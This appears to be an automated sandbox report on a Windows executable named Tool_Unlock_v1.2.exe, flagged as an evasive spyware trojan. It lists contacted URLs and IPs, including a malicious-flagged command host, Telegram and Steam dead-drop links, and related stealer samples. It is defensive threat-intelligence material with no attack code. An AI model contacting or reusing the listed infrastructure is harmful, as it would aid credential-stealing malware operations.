https://anglebug.com/7489	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 00000005.00000003.2274387834.0000313C00C78000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000002.2391262207.000001AC0017C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.entrust.net/rpa03	Tool_Unlock_v1.2.exe	false		high
https://cdnjs.cloudflare.com/ajax/libs/mathjax/	offscreendocument_main.js.10.dr, service_worker_bin_prod.js.10.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.10.dr	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000005.00000003.2224779361.0000313C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224564655.0000313C00ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224678668.0000313C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225538704.0000313C00C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225786178.0000313C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224636424.0000313C00FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226361046.0000313C01168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2224658327.0000313C01040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226294701.0000313C01104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225559696.0000313C00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226145882.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225592376.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Tool_Unlock_v1.2.exe, 00000003.00000002.3286211155.0000000005E11000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp, UAIMGD.3.dr, 0ZC2DB.3.dr, Web Data.10.dr	false		high
https://mavidanc.com/	Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://issuetracker.google.com/161903006	msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C6C000.00000004.00000020.00020000.00000000.sdmp, UAIMGD.3.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.10.dr	false		high
https://excel.new?from=EdgeM365Shoreline	06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.10.dr	false		high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	Tool_Unlock_v1.2.exe, 00000003.00000002.3289185739.00000000063A8000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, ZMGDJE.3.dr	false		high
https://chromewebstore.google.com/	msedge.exe, 00000008.00000002.2391262207.000001AC0017C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.10.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.10.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.10.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	Tool_Unlock_v1.2.exe, 00000003.00000002.3289185739.00000000063A8000.00000004.00000020.00020000.00000000.sdmp, Tool_Unlock_v1.2.exe, 00000003.00000002.3284514194.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, ZMGDJE.3.dr	false		high
https://steamcommunity.com/profiles/76561199811540174hu76faMozilla/5.0	Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore/	manifest.json.10.dr	false		high
https://bard.google.com/	06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
http://crl.entrust.net/2048ca.crl0	Tool_Unlock_v1.2.exe	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000008.00000003.2355532144.000001AC00270000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/%L	chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com	06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	false		high
http://anglebug.com/3625	msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/0/	06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	false		high
https://t.me/w211etU	Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E37000.00000004.00000020.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	ZMGDJE.3.dr	false		high
http://anglebug.com/3862	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp	000003.log9.10.dr, 2cc80dabc69f58b6_1.10.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
https://mavidanc.com/#C	Tool_Unlock_v1.2.exe, 00000003.00000002.3281672174.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nwweek.sbsMOHVK6F	Tool_Unlock_v1.2.exe, 00000003.00000002.3279472090.00000000005EF000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000005.00000003.2232511530.0000313C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2228288673.0000313C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225955446.0000313C00C63000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2225786178.0000313C00F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222694522.0000313C00C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221732617.0000313C00C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2226237703.0000313C00328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221691146.0000313C00C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2274387834.0000313C00C78000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 00000005.00000003.2222110266.0000313C00AF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2221311446.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2222079857.0000313C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.2355580458.000001AC002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	msedge.exe, 00000008.00000003.2356238898.000001AC0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/6L	chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 00000005.00000003.2262638852.0000313C0222C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/FP	chrome.exe, 00000005.00000003.2265736676.0000313C02310000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tidal.com/	06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.200.0.42	unknown	United States	20940	AKAMAI-ASN1EU	false
116.203.14.4	nwweek.sbs	Germany	24940	HETZNER-ASDE	true
23.219.82.59	unknown	United States	20940	AKAMAI-ASN1EU	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
23.49.251.25	unknown	United States	16625	AKAMAI-ASUS	false
13.78.111.199	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
108.138.128.56	unknown	United States	16509	AMAZON-02US	false
18.161.69.30	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
23.43.85.14	unknown	United States	3257	GTT-BACKBONEGTTDE	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581848
Start date and time:	2024-12-29 05:44:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Tool_Unlock_v1.2.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@67/277@27/18
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 140 Number of non-executed functions: 109
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.32.238.208, 172.217.19.227, 172.217.19.238, 64.233.161.84, 192.229.221.95, 199.232.214.172, 142.250.181.142, 172.217.21.35, 172.217.17.42, 142.250.181.10, 172.217.19.170, 142.250.181.138, 216.58.208.234, 142.250.181.74, 172.217.19.202, 172.217.19.234, 172.217.19.10, 172.217.17.74, 142.250.181.106, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.69.228, 23.32.238.138, 2.19.198.56, 2.16.158.26, 2.16.158.27, 2.16.158.179, 2.16.158.185, 2.16.158.169, 2.16.158.96, 2.16.158.91, 2.16.158.35, 2.16.158.33, 23.32.238.217, 2.16.158.83, 2.16.158.80, 2.16.158.82, 2.16.158.90, 2.16.158.88, 2.16.158.72, 2.16.158.75, 104.126.37.162, 104.126.37.146, 104.126.37.163, 104.126.37.152, 104.126.37.147, 104.126.37.168, 104.126.37.154, 104.126.37.160, 104.126.37.170, 2.16.158.184, 2.16.158.187, 2.16.158.56, 13.74.129.1, 204.79.197.237, 13.107.21.237, 13.87.96.169, 142.251.32.99, 142.251.40.163, 142.250.64.67, 172.202.163.200, 13.107.246.63, 184.30.17.174, 94.245.104.56
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, www.gstatic.com, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, mira.config.skype.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, arc.msn.com, redirector.gvt1.com, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.skype.com, opt
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.200.0.42	mtbkkesfthae.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://abex.co.in/1/?clickid=crj4hrne79is73f9g3kg&lp_key=17263275da2fd8c1a244a24d3218001b69e7968282&t1=1083194587&t2=.us.05.desktop.nonadult.windows.edge&key=7dfcf14e88e3f6336162#	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
23.219.82.59	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse
23.219.82.59	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
149.154.167.99	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot
	jtfCFDmLdX.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://linkenbio.net/59125/247	Get hash	malicious	Unknown	Browse	149.154.167.99
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	installer.bat	Get hash	malicious	Vidar	Browse	149.154.167.99
	skript.bat	Get hash	malicious	Vidar	Browse	149.154.167.99
	din.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	yoda.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	lem.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	script.ps1	Get hash	malicious	Vidar	Browse	149.154.167.99
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
chrome.cloudflare-dns.com	FLKCAS1DzH.bat	Get hash	malicious	Unknown	Browse	172.64.41.3
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	172.64.41.3
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	installer.bat	Get hash	malicious	Vidar	Browse	172.64.41.3
	skript.bat	Get hash	malicious	Vidar	Browse	162.159.61.3
	din.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	lem.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	WRD1792.docx.doc	Get hash	malicious	Dynamer	Browse	162.159.61.3
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
mira-tmc.tm-4.office.com	HzZkjxWF3j.doc	Get hash	malicious	Unknown	Browse	52.123.243.184
	CMR ART009.docx	Get hash	malicious	Unknown	Browse	52.123.251.27
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	52.123.243.177
	510005940.docx.doc	Get hash	malicious	Unknown	Browse	52.123.243.184
	OrderSheet.xla.xlsx	Get hash	malicious	Unknown	Browse	52.123.243.178
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	XenoRAT	Browse	52.123.243.181
	List of required items.vbs	Get hash	malicious	Unknown	Browse	52.123.243.179
	K0Szg26cRh.doc	Get hash	malicious	Unknown	Browse	52.123.243.180
	Note no. ROC 2453-2024.doc	Get hash	malicious	Unknown	Browse	52.123.243.181
	https://trinasolarus-my.sharepoint.com/:f:/g/personal/matt_hutchison_trinasolar_com/EuTm6V8CKxFPmV0-8tDYkU8B7bgg8BNpE1Urptg3NNJsZw?e=bQub2M	Get hash	malicious	Unknown	Browse	52.123.243.183

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	gdi32.dll	Get hash	malicious	LummaC	Browse	23.55.153.106
	Loader.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	iien1HBbB3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	oe9KS7ZHUc.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	SQHE4Hsjo6.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	XYQ1pqHNiT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
TELEGRAMRU	iviewers.dll	Get hash	malicious	LummaC	Browse	149.154.167.220
	Flasher.exe	Get hash	malicious	Luca Stealer, Rusty Stealer	Browse	149.154.167.220
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://linkenbio.net/59125/247	Get hash	malicious	Unknown	Browse	149.154.167.99
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	installer.bat	Get hash	malicious	Vidar	Browse	149.154.167.99
	skript.bat	Get hash	malicious	Vidar	Browse	149.154.167.99
	din.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	yoda.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	lem.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
AKAMAI-ASN1EU	gdi32.dll	Get hash	malicious	LummaC	Browse	23.55.153.106
	Loader.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	iien1HBbB3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	oe9KS7ZHUc.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	SQHE4Hsjo6.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	XYQ1pqHNiT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	GHXsFkoroU.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
HETZNER-ASDE	db0fa4b8db0333367e9bda3ab68b8042.i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse	5.9.64.57
	Electrum-bch-4.4.2-x86_64.AppImage.elf	Get hash	malicious	Unknown	Browse	136.243.250.139
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	116.203.8.178
	db0fa4b8db0333367e9bda3ab68b8042.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	144.79.90.49
	0A7XTINw3R.exe	Get hash	malicious	Unknown	Browse	178.63.67.153
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse	116.203.8.178
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	116.203.8.178
	https://fsharetv.co/	Get hash	malicious	Unknown	Browse	5.161.89.212
	glpEv3POe7.exe	Get hash	malicious	Stealc, Vidar	Browse	135.181.65.216
	armv6l.elf	Get hash	malicious	Mirai	Browse	178.63.49.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Gabriel-4.9.exe	Get hash	malicious	Nitol, Zegost	Browse	116.203.14.4 149.154.167.99
	setup.msi	Get hash	malicious	Unknown	Browse	116.203.14.4 149.154.167.99
	fxsound_setup.exe	Get hash	malicious	Unknown	Browse	116.203.14.4 149.154.167.99
	test5.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	116.203.14.4 149.154.167.99
	tzA45NGAW4.lnk	Get hash	malicious	Unknown	Browse	116.203.14.4 149.154.167.99
	soft 1.14.exe	Get hash	malicious	Meduza Stealer	Browse	116.203.14.4 149.154.167.99
	solara-executor.exe	Get hash	malicious	Unknown	Browse	116.203.14.4 149.154.167.99
	Setup.exe	Get hash	malicious	Unknown	Browse	116.203.14.4 149.154.167.99
	Setup.exe	Get hash	malicious	Unknown	Browse	116.203.14.4 149.154.167.99
	setup.msi	Get hash	malicious	Unknown	Browse	116.203.14.4 149.154.167.99

Dropped Files

⊘No context

